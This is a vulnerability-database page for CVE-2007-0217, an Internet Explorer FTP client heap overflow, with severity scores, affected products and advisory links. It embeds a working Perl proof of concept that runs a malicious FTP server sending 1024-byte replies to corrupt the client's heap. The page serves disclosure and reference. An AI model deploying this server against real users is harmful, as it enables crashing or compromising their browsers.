CVE-2007-0217 : Detail

CVE-2007-0217

76.22%V4
Network
2007-02-13
21h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The wininet.dll FTP client code in Microsoft Internet Explorer 5.01 and 6 might allow remote attackers to execute arbitrary code via an FTP server response of a specific length that causes a terminating null byte to be written outside of a buffer, which causes heap corruption.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3444

Publication date : 2007-03-08 23h00 +00:00
Author : Mathew Rowley
EDB Verified : Yes

#!/usr/bin/perl # MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.02900.2180 (SP2) # # Details: The response is broken into buffers, either at length 1024, # or at '\r\n'. Each buffer is apended with \x00, without # bounds checking. If the response is exctly 1024 characters # in length, you will overflow the heap with the string \x00. use IO::Socket; use strict; # Create listener my $ip=shift || '127.0.0.1'; my $sock = IO::Socket::INET->new(Listen=>1, LocalHost=>$ip, LocalPort=>'21', Proto=>'tcp'); $sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n"); # Wait for initial connection and send banner my $sock_in = $sock->accept(); print $sock_in "220 waa waa wee waa\r\n"; # Send response code with total lenght of response = 1024 while (<$sock_in>){ my $response; if($_ eq "USER") { $response="331 ";} elsif($_ eq "PASS") { $response="230 ";} elsif($_ eq "syst") { $response="215 ";} elsif($_ eq "CWD") { $response="250 ";} elsif($_ eq "PWD") { $response="230 ";} else { $response="200 ";} print $sock_in $response."A"x(1024-length($response)-2)."\r\n"; } close($sock); # milw0rm.com [2007-03-09]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Internet_explorer >> Version 5.01

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Ie >> Version 6.0

    Configuraton 0

    Microsoft>>Windows_2003_server >> Version gold

      Microsoft>>Windows_2003_server >> Version gold

        Microsoft>>Windows_2003_server >> Version gold

          Microsoft>>Windows_2003_server >> Version sp1

            Microsoft>>Windows_2003_server >> Version sp1

              Microsoft>>Windows_xp >> Version *

              Microsoft>>Windows_xp >> Version *

                Microsoft>>Internet_explorer >> Version 6.0

                References

                http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=473
                Tags : third-party-advisory, x_refsource_IDEFENSE
                http://www.osvdb.org/31892
                Tags : vdb-entry, x_refsource_OSVDB
                http://www.securityfocus.com/bid/22489
                Tags : vdb-entry, x_refsource_BID
                http://www.kb.cert.org/vuls/id/613564
                Tags : third-party-advisory, x_refsource_CERT-VN
                http://www.us-cert.gov/cas/techalerts/TA07-044A.html
                Tags : third-party-advisory, x_refsource_CERT
                http://www.securitytracker.com/id?1017642
                Tags : vdb-entry, x_refsource_SECTRACK
                http://www.vupen.com/english/advisories/2007/0584
                Tags : vdb-entry, x_refsource_VUPEN
                http://secunia.com/advisories/24156
                Tags : third-party-advisory, x_refsource_SECUNIA